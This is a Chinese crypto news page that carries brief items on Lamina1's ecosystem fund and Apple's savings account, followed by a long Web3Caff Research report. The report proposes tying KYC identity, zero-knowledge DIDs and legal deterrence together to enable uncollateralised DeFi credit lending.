去年底Lamina1公布了其生态基金L1EF。对于开发者来说，基金将投资于游戏、时尚、音乐、艺术、NFT项目、新兴人工智能、Defi、Gamefi、DeSoc、虚拟机、Layer 2协议、身份、数据存储、数据可用性、隐私、支付、DAO、市场、桥梁、应用程序、沉浸式体验等。Lamina1创建这个基金的原因有两个。首先，它为全球投资者社区提供一种获得早期Layer 1项目的直接投资途径，这些项目之前无法向公众开放。其次，它是为Web3开发者提供一个筹集早期资本的车辆，用于他们的开放元宇宙风险投资，这是L1社区的一个重要区别，因为在这个行业里，创作者通常在主网之后才能获得财务支持。 目前不管是通用公链、还是游戏公链赛道，竞争的格局基本上已经形成，对于像Lamina1这样的新公链来说要在公链领域取得一席之地，需要有一定的创新或技术突破，就目前来看，基于Avalanche做公链并没有新意和技术优势，发行NFT门槛也比较低，在白皮书中也没有提供技术细节，主要以概念为主，所以目前还看不到Lamina1在技术或影响力方面有特别突出的优势。  ( 2 min )
    苹果公司推出年利率达4.15%的储蓄账户，无最低存款要求
    PANews 4月18日消息，据CNBC报道，苹果公司表示，其Apple Card储蓄账户现在可供用户使用，年收益率为4.15%。该公司表示，这一账户没有最低存款或余额要求，用户可通过iPhone上的钱包应用程序来设置其帐户。该媒体补充道，苹果公司是通过高盛来推出这一储蓄账户的。 用户必须拥有Apple Card才能开立储蓄账户。通过Apple Card获得的所有每日现金奖励将自动存入储蓄账户。据悉，每日现金奖励可提供高达3%的购物返还。用户可以随时更改每日现金的存放位置，还可以从银行账户中添加资金以增加收入。 根据联邦存款保险公司（FDIC）的数据，储蓄账户的全国平均年利率仅为0.35%，因此相比之下，苹果公司的4.15%就相当可观。  ( 1 min )
    万字探讨DeFi建立信用的另一种可能：威慑纪元RWC模型
    尽管很多人都认为区块链是革命性的创新，在信息可复制的互联网上实现了价值的不可复制性，仿佛 Crypto 世界仅凭自己的力量就能蓬勃成长。然而，事实上引入外部世界的购买力对于加密货币的规模增长至关重要。从历史上看，比特币价格的每次高峰都伴随着稳定币供应量的激增。 从系统论的角度来说这不难理解，因为熵增的趋势，任何封闭系统都最终会归于热寂。只有与外部系统发生能量和物质交换的开放系统，才能摆脱这一趋势。 Crypto 世界也是如此，我们不是仅仅满足于极客之间互相转账几个 BTC 买几个披萨玩玩，而是希望现实的经济活动越来越多地采用区块链这项技术，证明它的实际价值，从而实现规模的成长。 不过现在加密货币的增长遇到了一个天花板，就是缺乏信用体系。熟悉 DeFi 借贷协议的用户应该知道， DeFi 是几乎完全没有信用借贷的，只有超额抵押，因为 DeFi 目前无法做信用的评估。并且，更广义上的信用体系也出了问题， 2022 年 Luna 、三箭、 FTX 的一连串暴雷已经让主流资本对 Crypto 产生了信任危机。在传统金融人眼里 Do Kwon 、 Su Zhu 这样的人还能再出来做项目，是难以想象的，因为按传统金融的游戏规则，这样的人是不可能再继续在圈内混下去的，同时也让传统金融人士对 Crypto 的信任基石产生了质疑。 本份研报便将探讨 DeFi 建立信用的一种可能性，笔者称之为 “威慑纪元 RWC 模型”，RWC 代表 Real World Credit（现实世界信用），该模型或将解决 DeFi 信用借贷最大问题。 作者：samoi.eth，Web3Caff Research 研究员，BuidlerDAO Core Builder，LXDAO 等多个 DAO 组织贡献者，Meta Training 负责人 封面：Photo by MagicPattern on Unsplash 字数：本份研报超 13000 字，预计阅读时长 26 分钟 声明：Web3Caff Research 免费试读系列内容允许转载，转载请完整遵守转载规则，违者必究 目录 TL;DR 链上信用的背景与现状 比特币价格与稳定币增量的关系 DeFi Summer 中货币供应量与杠杆率的双增长 存款准备金率与货币乘数效应 存款准备金率与超额抵押率 存款准备金率与现实杠杆率 信贷扩张、信用、债务之联系 Crypto 需要引入信用才能进一步增长 美好的理想 骨感的现实 信用体系缺失引起投资人的质疑 链上信贷的现状 极少量的信用借贷 链上信贷的痛点 链上信用的解法：威慑纪元 RWC 模型 模型的缘起 IPFS 与 区块链确权 W3C DID 标准的争论 比特币交易与中心化服务 基础业务逻辑 最简模型结构 模型中的两种角色 威慑纪元 RWC 模型的必要组件 ZK-DID Legal 部门 风控部门 模型缺陷与业务场景 模型缺陷与解法 ZK-DID 进度未知 罪罚不对等 不良需求带来的系统性风险（“赌徒风险”） 业务场景 隐私 现实世界高信用个体的进入 信用闪电贷 总结 TL;DR Crypto 世界不能是个封闭系统，引入稳定币、现实资产、现实信用才能进一步发展。 存款准备金率与超额抵押率相关，链上借贷与银行系统类似，有信贷扩张的能力。 威慑模型原理，自行悬挂 “达摩克利斯之剑”，提高作恶代价来增加信用。 威慑模型的问题在于 ZK-DID 进展未知、罪罚不对等问题、“赌徒风险” 等。 威慑模型的业务场景在于为用户提供隐私、帮助现实高信用个体入局 Web3 、信用闪电贷等。 链上信用体系建立初期，不应当回避中心化解决方案，这可能是必由之路。 链上信用的背景与现状 比特币价格与稳定币增量的关系 比特币最初的愿景是成为一种法币的竞争货币， Crypto 领域也一度尝试以 BTC 为本位去进行交易，但实践中 BTC 计价的交易对难以避免地被稳定币计价的交易对所挤占，下图是 ETH/BTC 交易对与 ETH/USDT 交易对的交易量对比： 事实上 BTC 本身的价格暴涨也与稳定币供应量的增加有很大关系，最典型的是 2017 年 9 月之后， BTC 再创新高，从低点 $4000 暴涨至 $20000 附近，而同时期 USDT 供应量从 4 亿美金快速增长至 13 亿，最终稳定在约 20 亿的规模。 从图中我们看到 BTC 在大周期内的波动性与 USDT 稳定币发行量的波动有明显的正相关。（DeFi Summer 之后 USDC 等其它稳定币的增长在此图中还未完全体现。） 对此丝毫不令人奇怪， Crypto 的市值增长离不开与传统金融世界的交换，一个与外界有物质和能量交换的开放系统才能避免热寂。 Crypto 总市值的高速成长，也源自于引入了现实世界的 “物质与能量”： DeFi Summer 中货币供应量与杠杆率的双增长 DeFi Summer 是 2020 年去中心化金融领域发展的高峰，它使加密货币从漫长的熊市中走出，也推动了比特币价格到达新高。除了稳定币供应量的增加，杠杆率的增长也是 DeFi Summer 的一个原因。这使得 10 倍的货币供应量增长可能带来 20 倍的效果。随着去中心化世界基础模块的发展， DeFi 开始具备了像传统金融系统一样的信贷扩张能力。 在 DeFi 中，像 AAVE、 Compound 等借贷协议就像现实中的银行系统，拥有了 “无中生有” 创造货币的能力。而 Swap 交易的成熟，则让扩张出的货币有了使用场景。此外，区块链的可组合性，使得挖矿补贴、预言机喂价的衍生品等更多的产品有了丰富的可能性。 哦，等一下，你从来不知道传统银行可以 “无中生有” 创造货币？ 存款准备金率与货币乘数效应 普通人都以为存在银行中的钱是一张张现金，其实不然。我们以美国央行为例，央行发行的现金，被称为 “高能货币”，它们在银行系统中经过不断借贷，会膨胀出许多倍，这便是货币乘数效应。货币乘数的上限与央行规定的存款准备金率有关，也就是每次有储户存款时，商业银行需要将存款的一部分存入央行保管，以备发生挤兑的时候有一定量的现金可以还给储户。 我们来看以下两个例子： 从上面的例子我们可以总结出规律：货币乘数 = 1 ÷ 存款准备金率。同时，我们也不难推理出，任何一家正常经营的商业银行，都是经不起挤兑的。 存款准备金率与超额抵押率 说完存款准备金率，一些用过 DeFi 借贷协议的用户就反应过来了，似乎借贷协议里的某个概念和它十分相似，那就是超额抵押率。目前链上借贷是几乎没有信用借贷的，绝大部分的借贷都是超额抵押借贷，超额抵押意味着你需要得先拥有一笔较大的资产作为抵押品，才能借出一笔较小的贷款。 如上图中的例子，超额抵押率为 74%，那么抵押 $100 的 USDC，你最多可以借出 $74 的贷款。而当你的抵押品价格下降（或者借出的代币价格上涨导致债务扩大）使得抵押率超过 76% 时，意味着你的抵押品不能提供足够安全的保障了。这时虽然你尚未资不抵债，但资产仍将会被清算，第三方清算者会替你还清一部分债务，以折扣价获得你的抵押品，他们如果立即卖掉抵押品则可以获得差价作为利润。超额抵押中超出的那部分，目的是给清算者留出利润空间，确保系统的安全。 咦，这不就相当于存进银行 $100 ，给央行留 $26 吗？和存款准备金率 26% 这不一模一样吗？ 没错，这两个概念确实是非常接近的，超额抵押率 = 1 – 存款准备金率。我们暂且把拿 USDC 的抵押率当做 75% ，也就相当于存款准备金率为 25% ，根据上面的公式，我们的 “货币乘数” 大概会到多少倍呢？1 ÷ 25% = 4 倍。 存入 $10000 USDC ，借出 $7500 USDC，再反复存入抵押贷出 … 可以看到我们的资产差不多是变为了原来的 4 倍，其中的大约 3 倍是以资产和负债一比一扩张完成的，这就是所谓的 “资产负债表扩张”。 第一次发现 DeFi 里可以进行循环贷时，肯定有小伙伴吐槽，这不是自己左脚踩右脚螺旋升天嘛， DeFi 的水份太大了。但是实际上你了解了现实世界货币扩张的过程，你会发现它们本质上是一样的。只不过现实世界是通过 A 存 B 借 C 存 D 借，多个人来完成的，循环贷则是由一个人完成的。循环贷也有其正面意义，不过与本文无关，在此不过多赘述。 存款准备金率与现实杠杆率 存款准备金率是货币银行学里的一个基础概念，现在我们也仍用它来理解 “信贷扩张” 这个概念。但实践中调整法定存款准备金率已经不再是一种有效的调控经济手段，特别是西方经济体已经基本完全放弃了这个工具。 存款准备金率被放弃主要有三个原因： 其中最后一点是最致命的，一剂药方的原理也许尚未被搞清楚，但只要它有效，人们就会使用它，反之如果一直不起作用，那它就会被抛弃。但存款准备金与货币乘数的模型明明很简洁有力呀，为什么实践中不起效呢？ 我们来细细探索一下，假设将存款准备金率从 20% 降低到 10% ，发生了什么？ 看起来，这个调整能让货币乘数从 5 倍提升为 10 倍，非常有效的放水刺激，对吗？ 好，我们继续将存款准备金率降低，发生了什么？ 美国现在对银行的法定存款准备金率已经降至 0 ， 0 不能做除数呀，难道他们的货币乘数是无穷大吗？总觉得哪里不太对劲。 信贷扩张、信用、债务之联系 我们一直说货币的本质是信用，法币的本质是主权国家的信用，但细想一下，美国政府的信用值多少钱呢？能印 10 万亿美元？还是 1000 万亿？ 信用是个难以量化的东西，只停留在这个层面，完全无法实操。实际上，货币的本质是债务，而法币的本质是主权国家的国债。美国财政部发行一千万的美国国债，美联储印出一千万美元把这批债券买下来，这样这一千万就进了美国政府的口袋里，可以通过财政支出流入现实经济。 但要注意，这一千万都是 “现金”，都是 “高能货币”，在我们货币乘数的例子中，这一千万也许会扩张 10 倍变成一个亿，那另外的九千万是哪儿来的呢？ 这九千万同样也对应着其他个体的债务，比如——住房抵押贷款。 A 通过贷款购入了一套一百万的房子，这一百万此前在经济活动中存在吗？还不存在。 但等他贷出并付了购房款之后，开发商的确收到了这一百万，然后开发商可能会用这笔钱支付工人工资、向原料商支付建材款等等。整个链条上的收款者都收到了这一百万的一部分，然后存回了银行，所以为这一百万扩张出来货币背书的，其实是 A 承诺将来 30 年，每个月还本付息的债务。 从上面的例子可以看出，货币乘数并不会因为存款准备金率这一个指标的调整而凭空扩张出来。信贷扩张的过程依赖于其他人承担债务才能实现，千千万万的个体、企业、政府部门承担了债务，才将那另外的九千万扩张了出来。 那么当央行降低存准想要救市的时候，往往是经济极端不景气的时候。此时银行也不愿意贷款，怕企业还不上；企业也不敢贷款，怕投资增产后卖不出去砸在手里……这就是为什么存款准备金率面对重大危机时往往无法奏效的原因——它太间接了。 Crypto 需要引入信用才能进一步增长 美好的理想 了解了存款准备金率应对危机总是失败的原因：也就是广义货币扩张的过程，依赖于其他人承担债务才能实现。货币乘数其实体现着现实经济活动的总杠杆率，经济过热的时候，杠杆率较高，经济下行时，通过市场出清将杠杆率降下来。合理的杠杆率是自然的、健康的，而我们需要有实际的借贷需求，将这部分杠杆支撑起来。 理想状态下，我们应当把信贷资源交给有能力、有价值的个体，以便推动创新，让投入的资源产出更多的价值，比如在大学时期的扎克伯格、还在家后院攒机子的乔布斯；或者是现金流稳定的信用良好的个人，能够在消费贷、住房贷款中，成为稳定产生利息的借贷需求。 骨感的现实 但以目前链上借贷的业务构成，几乎完全由超额抵押组成。这意味着如果借贷发生在链上的话，扎克伯格在创业初期想要借出几万美元维护自己的服务器，可能先要有十万美金等值的比特币作为抵押；普通人想要借出一套房子的购房款，前提也许是他先拥有了两套房子价值的 Crypto 资产作为抵押物。 超额抵押押大借小的模式，让很多借贷的需求变得很滑稽——一个人需要钱，所以才想借钱，但借贷协议愿意借给他的前提是，他需要先拥有一大笔其他资产做抵押物。 这一切都源于链上信用体系的空白，而现实金融活动中，信用借贷是占比非常重的一类业务，缺少这一块让 Crypto 领域的借贷像个发育不良的早产儿。 信用体系缺失引起投资人的质疑 近年来，随着区块链技术的发展，传统金融圈的很多机构和投资者开始关注和投资区块链相关的项目和公司。比如， a16z 、红杉资本等知名风投机构都已经在区块链领域进行了投资，并且取得了不俗的成绩，上一轮比特币冲击 6 万美元的新高离不开他们的影子。 然而后来 Luna 、三箭、FTX 等事件的接连发生，让传统金融圈对 Crypto 产生了疑虑。传统金融圈是非常注重个人的信用的，不论世界怎么发展，那些老钱们还是愿意和一个合作了十几年的中间人去进行交易。一个人如果做了不道德的事情，在圈内就很难混下去了，而且足够严重的话，是会受到法律的制裁的。 他们很难想像 Do Kwon 这样的人，在匿名创立了 Basis Cash 之后（据传），反手又创立了模型更简单粗暴的 Luna – UST 。三箭资本的 Su Zhu ，在让这么多人倾家荡产之后，居然又出来创建了 GTX 债权交易所（后改名为 OPNX），这一切在传统金融圈人士眼里都太不可思议了。 甚至于传统金融圈现在产生了一种新的观点流传甚广： Crypto 最终的结局离不开被传统金融收编，因为我们解决不了链上信用的问题，最终还是要被收购、被招安，继续沿用原来运行了上百年的传统金融的那一套基于担保、法条的信用体系。链上金融必须解决自己的信用体系问题，否则 Crypto 的市值可能会被锁死在一两万亿美元的水平。 链上信贷的现状 极少量的信用借贷 目前 DeFi 上的借贷协议，绝大部分都是只支持超额抵押的。也存在少部分支持信用借贷的项目，比如 Maple Finance 。 我们可以看到，它支持零抵押物借贷，这可以算得上是信用借贷了。 它采取不同资金池的策略，有的池子只允许通过 KYC 的投资人提供资金，贷款者也经过 KYC 。无许可的资金池，则允许公众投资人提供资金，但贷款者扔需要 KYC 。 通过 KYC 、限定业务范围，勉强保持了业务的可行性，但这显然与理想的去中心化精神相去甚远。而且这样做是否公平与透明？我们看过去在该平台上发生的借贷，只有机构能享受，而且大机构借的多，无需抵押，利息却更低；小机构借的少，需要抵押，利息反而高。 因此它本质上是个中心化的业务，只是接受了 Crypto 资产而已，而且存在被大机构当成提款机的风险，我们知道 Alameda 和 FTX 在 2022 年一起暴雷，想必它的最后几笔贷款肯定是没还上的。 链上信贷的痛点 生长难： 现实经济生活中每个人有自己的身份，有自己的职业，有银行流水，有社交数据。但看向区块链世界，目前链上的数据绝大部分都是些金融数据，而且在 DeFi Summer 之前，连这些金融数据也少得可怜。 链上信用评估体系需要从零开始建立，取什么数据，如何评价，都需要长时间的探索试错，这方面的尝试还在非常初期的阶段，甚至连个胚胎都还没看到。 社交数据对于构建信用也是极其重要的，但目前 SocialFi 真正跑出的项目还很欠缺，使得整个链上信用体系的建立，就像长在悬崖上的一棵幼苗，不但幼小脆弱，连成长的土壤也极其缺乏。不过通过社交数据建立信用这条道路是有人在尝试的， AAVE 推出的 Lens Protocol 就非常有野心。而且 Lens Protocol 形成的社交数据如果能供养链上信用体系，与 AAVE 的主营业务借贷协议是完美契合的，不得不称赞一下 AAVE 团队的远见和野心。 毁灭易： 链上信用体系的建立还遇到一个困难，就是毁灭太容易了。一个钱包地址，由一串难以记忆的随机字符组成，背后所对应的人也难以被追踪。这确保了去中心化极客对隐私的要求，但也让链上信用的毁灭变得非常容易。 匿名团队发起一个项目，筹集了资金后按捺不住诱惑， Rug 跑路的；黑客盗取资金后，用各种方式洗币跑路后也难以追回……这就是目前 Crypto 圈的现状，搞砸一个 “身份” 之后，重新创建一个钱包的成本太低了。以此为基础建立链上信用，那如果一个地址拥有了价值 $10000 的信用而获得了 $20000 的贷款，他会毫不犹豫地跑路然后创建一个新的地址。 探其究竟，是因为我们很难给予地址背后的控制人，除了罚没质押的资产之外的额外代价。而黑客事件中的退回被盗资金，“黑帽” 转 “白帽” 的行为，常常是黑客不小心留下了痕迹，导致现实中的本人可能被司法机关追责送进监狱，在此威胁下才顺坡下驴地转为领取漏洞赏金，避免起诉。 这个骨感的现实，就是链上信用体系的现状：土壤贫瘠成长困难，而毁灭却轻而易举。那么，如何解决这个问题呢？ 链上信用的解法：威慑纪元 RWC 模型 目前，尽管稳定币等形式的加密货币已经尽可能地引入了外部世界的购买力，但是想要进一步引入外部世界的经济活动，必须引入金融的本质——信用。 在去中心化的信用体系中，需要解决作恶成本低、链上信息刷单、养现金流等问题。链上信用模型和风控体系的建立必然需要漫长的磨合、探索，无法拔苗助长，但在这个体系的幼年期，有一种解法显得触手可及，以下便是笔者思考的缘起和推理。 模型的缘起 IPFS 与 区块链确权 2018 年笔者曾参与一个项目，试图用 IPFS 解决链上音频视频作品的确权问题。那时连 Snapshot 都还没有，我们试图用 Kovan 测试网进行全链上的 “社区投票”，回忆起来还是非常有趣的尝试。 区块链与知识产权确权是一直被人提起的业务，逻辑很清晰， IPFS 更是适合做这件事情，因为每个文件在 IPFS 系统中都会拥有独特的哈希。但经历过 mp3 文件随便下载的年代的我，当时就问了创始人一个比较尖锐的问题：如果我们把一个电影文件的一帧，做了微小的修改，然后上传至这条区块链网络，那这个盗版电影也会拥有一个独特的哈希，如何靠这一点来防止盗版呢？ 这个问题显然是无法解决的，这也是那个项目最终没有成功的原因之一。 不过当时创始人的回答给了我很大启发，他回道：现实生活中完全消灭盗版了吗？并没有。所以我们的目的也不是完全杜绝现实中也没有解决的问题。我们只是在现有的体系下为他们提供一个可行的解决方案。 回到去中心化信用体系的角度看这个问题：现实中买卖身份，找背债人，养好现金流，骗出贷款就不还的情况，有没有存在？自然是有的，甚至还形成了产业链。现实里银行是怎么处理的？是靠风控体系，把坏账率控制在一个较小的比例，把坏账风险加点在利息里 Cover 损失，或者用保险等金融工具对冲，从而实现金融系统的稳定。 同理，我们也不是追求在链上信用体系里完全杜绝这种作恶的发生，而是提供一个解决方案，让链上信用体系从几乎不可行，变成一台可以使用的 “原型机”。 W3C DID 标准的争论 在某次 W3C 的 DID 标准的讨论会上发生过一场激烈的争论，是否允许中心化服务器为 DID 提供数据？ W3C 的 DID 标准，一个身份之下允许有多个接口。一派观点认为我们做的是去中心化数字身份，那么就只能允许去中心化的数据作为身份的数据源。另一派则认为，我们也应当接受中心化公司为 DID 提供的数据。 比如推特可以提供数据证明某个 DID 它的推特账号是什么，Binance 也可以提供数据证明某个 DID 对应的 Binance 账户上有多少资产。如果说中心化的机构可能作恶，就完全拒绝他们提供的数据，这同样会大大限制 DID 的使用场景。 比特币交易与中心化服务 再回看比特币交易的发展历程，最早 BTC 只能进行点对点的转账，交易不太方便。历史上那笔人类有史以来最贵披萨的交易，也是借助一个喜欢 BTC 的第三人接收了币之后，替那老哥买了两张披萨。 回看早期比特币交易不便的时代，人们是怎么解决问题的呢？是把 BTC 转到中心化交易所进行交易呀，中心化交易所固然不是很好用，以前各个交易所之间还有显著的价格差可以搬砖套利；交易所也可能发生黑客事件导致用户的资产丢失。 但对于行业发展的初期来说，这已经足够好用了，并且中心化交易所的安全体系本身也在进步，至今 Binance 等中心化交易所仍然是 BTC 交易比较活跃的场所，它们作为新人们进入去中心化世界的桥梁，在可见的未来里仍会存在。 那么反推链上信用体系的建立，我们不妨也向中心化的解决方案寻求帮助。这条道路很可能不是可选项，而是不得不经过的必选项！ 基础业务逻辑 最简模型结构 理解最简化威慑纪元 RWC 模型，其实就是现实 KYC 信息 → ZK-DID → 链上钱包的映射过程： 夸张一点，假设我们直接向山姆大叔（美国政府）进行自己的身份认证，并把这个备案映射到 DID 上，然后通过 SBT 与某个特定的链上钱包做映射，这个 SBT 的图案可能是一个 “可坐牢” 的标签。 正常情况下，用户可以使用这个钱包做金融活动，大家不知道这个身份之后的人是谁。但如果钱包的主人做了不好的事情，比如 Rug 跑路、借钱逾期不还等等，智能合约或者其它机制就会触发惩罚，向执法机构发送此人的信息以及链上作恶的证据，进行现实世界的追责。 那么这样有 “可坐牢” 标签的账户，就像举着一把枪指着自己脑门的罗辑，大家就可以相信他有更高的信用。因为这个标签就像悬在人头上的 “达摩克利斯之剑”，一但账户所有人作恶，就可能会被送进监狱，解决了之前链上无法对账户所有人进行更强力惩罚的问题。 模型中的两种角色 我们前面提到不应贷出超过对方信用额度的金额，其实体现了一种 “合理估值” 的思路，也就是说如果一个账户评估后拥有的信用额度是 200 万，而你贷款给他超过 200 万，这件事情本来就不合理，但这种方案同样避免不了超额抵押押大借小的困境。 如果我的链上信用额度是 200 万，但是我想贷款 1000 万，有没有办法做到呢？ 在威慑模型之下，我首先可以通过上面的途径，给自己准备一个 “可坐牢” 的标签，这样是不是就可以增加信用呢？假设这让我的信用翻了个倍，值 400 万了。 还有一些 Crypto 领域的知名从业者，他们本身就是实名的，假设我与他们相熟，不向公众透露我的个人信息，而向他们透露个人信息并获得了认可。那么他们就可以成为实名增信者的角色，为我担保剩下来的 600 万。 如此，我们就从负向和正向的两个层面为自己完成增信，可以贷出之前的信用无法负担的金额，实现了信用借贷。 威慑纪元 RWC 模型的必要组件 继续往下思考，为了完善上面的模型，我们需要三个必要的组件： 1. ZK-DID 最基础的就是 ZK-DID ，我们需要一个去中心化数字身份作为承载信息的载体，为了保护隐私，它最好是采用了零知识证明的。 我们可以将来自中心化机构的数据映射到这个身份上，比如 Google 、 Twitter 、 微信等 Web2 平台的信息；也映射链上的金融活动信息、以及 SocialFi 成熟之后的 Web3 社交信息；还有威慑模型中，现实世界的 KYC 信息等等。将这些有价值的信用信息映射到 DID 上之后，通过向链上钱包发送 SBT ，来完成信用的绑定。 现阶段为了最小可行性，我们只需要用一部手机和 APP ，搜集一些基本信息即可： 用可信硬件搜集这些信息也是未来的趋势之一，如 iPhone 的面部结构光已经形成一定规模； Win 11 之后也要求 PC 都要装有专门的加密芯片用于处理秘钥、指纹等生物信息；还有 WorldCoin 则很有野心的试图用授权的硬件搜集人们的虹膜信息，以确保每个人在数字世界能有唯一身份；甚至于在一些科幻作品中，未来我们会有植入人体血液的秘钥，以确保人身份的唯一性。 这三者的关系，有点像信赖大部分交易都诚实的 OP-Rollups ，和诞生更早相对更成熟的 ZK-SNARK , 以及未来更有潜力的 ZK-STARK 一样。 2. Legal 部门 前面我们提到 KYC 信息可以直接向政府部门备案，但这显然会触动一部分去中心化信仰者的神经。因为我们很难确保备案之后，监管机构会不会用这些个人信息去做其它的事情。 所以这一部分也许可以通过 DAO 组织或公司实体搜集和保管。如 Legal DAO 之类的 DAO 组织，将全球不同辖区的法律人才汇集起来。一般情况下，钱包主人没有作恶，那什么也不会发生，政府部门甚至不会知道有某个人的 KYC 信息在某个地方存在。可一旦发生作恶的事件，这个第三方法律实体将可以向政府的司法部门发起诉讼，提交对方的 KYC 信息及犯罪证据，进行现实追责。 追责行为的触发需要一个前体，它们可以由以下机制完成： 前体触发了追责程序之后，由现实的 Legal 部门发起现实世界的诉讼，从而实现威慑。有了以上两个必要组件之后，威慑纪元 RWC 模型已经初具可行性。不过我们还需要第三个组件作为催化剂，让整个模型变得更合理。 3. 风控部门 传统的金融行业风控已经做了非常久，有自己一套成熟的信用评估体系，这对我们链上信用体系从零开始建立也有很大的参考意义。 专业的风控部门可以做两种业务： 模型缺陷与业务场景 模型缺陷与解法 简化的模型往往存在考虑不周的地方，我们需要找出这些问题并试图回答它们： 1. ZK-DID 进度未知 DID 领域目前还未形成统一的标准，都是各家在发展自己的一套。 ZK-DID 发展到什么进程，用什么方案，是一个要回答的问题，这直接关系到威慑模型具体如何落地。 不过像前文提到的，大部分的 DID 都是希望成为一个身份载体，用于承载各式各样的信息，所以与我们希望实现的效果是一致的。 如之前的图示一样，既然接受各种信息源对 DID 的映射，那多一个来自 Legal 模块提供的信息源，也没有本质的区别。 2. 罪罚不对等 涉及全球各个辖区的不同法律，威慑触发时，很可能遇到 A 罪 B 罚的罪罚不对等问题，比如历史上知名的芝加哥黑帮大佬阿尔卡彭，FBI 和 警方盯了他非常久也没有找到任何犯罪证据，最后是被税务局用偷税漏税的罪名将他送进监狱的。 如果说阿尔卡彭是被不同的罪名声张了正义，也就罢了。另外两种情况就比较令人担忧了 由于各地法规的差异，和 Crypto 监管的变化，我们很难确保触发威慑后有对应的合理惩罚会发生。不过这并不影响本质逻辑，因为威慑从来是不对等的。 像核威慑，拥核大国之间不可能发生大规模热战就是这个道理，一旦核战发生，那么第四次世界大战人们就是拿着木头棍做武器了。 还有像罗永浩在锤子科技末期，还可以借出 1 亿去拯救他的梦想。大航海时代有限责任制诞生之后，至今都是商业活动中的主流，意味着最坏的情况发生，投资人也只会损失有限的资金。而当时罗签的是代价更大的无限责任制，所以才能在资不抵债的时候借出这么一大笔钱。 威慑从来是不对等的，威慑的代价大，才显现出其信用的分量。 3. 不良需求带来的系统性风险（“赌徒风险”） 现实生活中，人们遇到紧急情况会刷信用卡来支撑；在 Crypto 市场上，同样也有类似的紧急状况，就是做合约遇到需要补缴保证金的时候。 人其实从来不是个理性的生物，有很多认知偏差，比如 “损失厌恶” 的心理会导致做错方向时，平仓离场变得非常痛苦。链上信用借贷必然会吸引这一批用户，他们在保证金不足时舍不得认亏平仓，而是加大筹码死扛，期望扛到雨过天晴。 这种需求带来的风险，笔者称之为 “赌徒风险”，显然这种情况下借出的钱至少有一半几率会灰飞烟灭，在当事人的不理性之下，往往会超过 50% 。 这个问题的解法，关键在于风险隔离： 总而言之，我们需要用各种分层手段将风险隔离，像现实的银行系统一样，把坏账率控制在一个可接受的范围之内。 业务场景 接下来我们一起探讨一下可能的业务场景，这个模型不能是自嗨的产物，必须得在逻辑上有成立的业务场景才行。 1. 隐私 目前区块链上所有的信息都是公开透明的，这保护了区块链的安全，但也有不合理之处。每个人都希望自己的行为有一定隐私，对于巨鲸用户来说更是如此。但现实中人们又特别喜欢盯着巨鲸的钱包动向，像前段时间 Blur 空投时，麻吉大哥的操作几乎是被人扒光了底裤放在放大镜底下观察。 噢，麻吉大哥刷 Blur 获得了好多空投啊。噢，他一到手马上抛了一半啊。噢，他没来得及撤 BID 单，被人砸盘接了十几只猴子反而亏更多啊 … 这个例子非常典型地体现出，用户在区块链上是需要更多隐私的。特别是资金量较大的巨鲸用户，即便他们希望通过小号来掩饰自己的痕迹，现在也有专门的调查链上现金流的公司，能通过资金往来将不同账号对应到同一个实体。 这时候便出现了业务场景，转账一笔资金是非常显眼的行为，但如果是替一个匿名的小号担保一定的信用额度，让小号能借出一定的资金，这是不是就更加合理了呢？甚至于可以用一些算法切断担保人与被担保人的联系，我们知道某账户被人担保增信了一定额度，确不知道担保人是谁，就更能保护用户的隐私了。 2. 现实世界高信用个体的进入 最早的设想中，我们的理想是让现实世界中有能力有价值的个体进入区块链，将他们的信用带入去中心化世界。这也会是个很好的途径，比如著名的比特币反对者巴菲特老爷子。 比特币 100 美元的时候，老爷子说它是老鼠药；比特币 10000 美元的时候，老爷子说它是老鼠药的平方。但老爷子早年还说看不懂科技股，看不懂的东西不会碰，结果后面还重仓了苹果公司股票呢。如果老爷子终于改变主意，准备投资区块链这个新时代的风口 … 这时巴菲特就可以通过威慑模型拥有自己的账户，并且还可以通过以前在华尔街的朋友，那些已经在 Crypto 领域中的实名增信者们担保增信，从而拥有自己的隐私和信用额度。在上帝视角的我们当然知道，即便这个账户亏了几千万的资金，对他来说也是一定能补上的。 3. 信用闪电贷 AAVE 开创的闪电贷模式，允许用户无抵押借出一大笔资金，只要在同一个交易内还上本金和利息即可。是区块链技术的一种创新，这是传统金融中不可能发生的行为。工具是中性的，我们这里不讨论黑客用闪电贷作恶的问题，仅仅是说这个工具本身的使用门槛并不低，普通用户不会写代码，就无法使用闪电贷。 但闪电贷又确实有一些很实用的应用场景，比如在多个借贷协议中使用循环贷的情况，如果这时用户要解除杠杆，就会非常麻烦。他需要还一小部分钱，再取出一部分抵押物，再还再取循环多次。除了操作繁琐，链上的交易成本也将非常高。 假设我们允许用户在信用额度内，借出一大笔资金，并且在一小时之内只需支付一笔手续费而无需付利息，超过时限之后才需要付较高的利息。那用户就可以用这笔信用闪电贷的资金快速还上一大笔贷款，再取出抵押物还款，整个过程节省了大量 Gas ，那付一小笔手续费给池子，也变得合理了。 当然信用闪电贷也可能被用于赌徒加保证金，就是另一个问题了，前面提到的风控原则在此不做赘述。 总结 以上就是笔者关于威慑纪元 RWC 模型的思考和研究，其实它的原理非常简单，就是通过在自己头顶悬上一柄 “达摩克里斯之剑” 并向众人展示，从而获得信用。通过零知识证明技术，在实现以上逻辑的同时，尽可能不暴露非必要的信息。 威慑模型就像 Optimistic Rollup 一样简单粗暴，相信大部分的交易都是诚实的，通过向主网上传所有交易数据，让所有人都能检查，提交欺诈证明来确保二层网络的安全。威慑模型也许还很不成熟，但在链上信用体系建立初期，借助中心化的、半中心化的解决方案，也许是不得不走的道路。 感谢您完整阅读本份 Web3Caff Research 免费试读系列内容，解锁本平台全部 Web3 研究报告及栏目内容，与更多 Web3 精英共寻一线风向，可点此 订阅 PRO 会员 免责声明:  本报告由 Web3Caff Research 编写，所含信息仅供参考，不构成任何预测或投资建议、提议或要约，投资者请勿依赖此类信息购买、出售任何证券、加密货币或采取任何投资策略。报告中使用的术语和表达的观点旨在帮助理解行业动向，促进 Web3 包括区块链行业负责任发展，不应被解释为明确的法律观点或 Web3Caff Research 的观点。报告中的看法仅反映作者截至所述日期的个人意见，与 Web3Caff Research 立场无关，且可能随后续情况而变化。本报告中所含的信息和看法来自 Web3Caff Research 认为可靠的专有和非专有来源，并不一定涵盖所有数据，亦不保证其准确性。因此，Web3Caff Research 不对其准确性和可靠性作任何形式的担保，也不承担以任何其他方式产生的错误和遗漏的责任（包括因疏忽而对任何人产生的责任）。本报告可能含有 “前瞻性” 